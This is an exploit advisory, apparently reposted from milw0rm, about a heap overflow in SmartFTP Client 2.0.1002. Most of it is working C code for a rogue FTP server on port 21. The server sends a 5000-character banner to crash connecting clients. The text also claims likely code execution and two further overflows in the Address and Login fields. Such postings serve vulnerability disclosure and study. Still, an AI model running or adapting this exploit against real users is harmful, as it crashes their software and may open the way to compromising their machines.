[EXPL] SmartFTP Client Heap Overflow DoS (Exploit)

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SmartFTP Client Heap Overflow DoS (Exploit)
------------------------------------------------------------------------


SUMMARY

There is remote heap overflow in SmartFTP. When the application receives a
long banner the heap is smashed, leading to DoS and probably to code
execution.

DETAILS

Vulnerable Systems:
* SmartFTP Client version 2.0.1002

Exploit:
/*************************************
* SmartFTP Client v 2.0.1002 Heap Overflow DoS
*
*
*
*
*
* There is remote heap overflow in SmartFTP. When the app receives a long
*
* banner (5000 char) the heap is smashed, leading to DoS and to code
*
* execution.
*
*
*
* There are also two buffer overflow in the fields Address and Login.
*
* I've reported this to Secunia but it seems they didn't think it was dan-
*
* gerous cause they didn't publish anything about. However a simple drag'n
*
* drop could compromise your system...
*
*
*
* Have Fun!
*
*
*
* Coded by Marsu <Marsupilamipowa@xxxxxxxxxx>
*
**************************************



#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{

char evilbuff[5000];
sockaddr_in sin;
int server,client;
WSADATA wsaData;
WSAStartup(MAKEWORD(1,1), &wsaData);

server = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
sin.sin_family = PF_INET;
sin.sin_addr.s_addr = htonl(INADDR_ANY);
sin.sin_port = htons( 21 );
bind(server,(SOCKADDR*)&sin,sizeof(sin));
printf("[*] Listening on port 21...\n");
listen(server,5);
printf("[*] Waiting for client ...\n");
client=accept(server,NULL,NULL);
printf("[+] Client connected\n");

memset(evilbuff,'A',5000);
memcpy(evilbuff,"220 ",4);
memcpy(evilbuff+4997,"\r\n\0",3);

if (send(client,evilbuff,strlen(evilbuff),0)==-1)
{
printf("[-] Error in send!\n");
exit(-1);
}
printf("[+] Data sent\n");

Sleep(1500);

if (send(client,"boom?",5,0)==-1)
printf("[+] Crashed? Crashed!\n");
else
printf("[-] Exploit failed!\n");

return 0;
}


ADDITIONAL INFORMATION

The information has been provided by milw0rm.
The original article can be found at:
<http://www.milw0rm.com/exploits/3277>
http://www.milw0rm.com/exploits/3277



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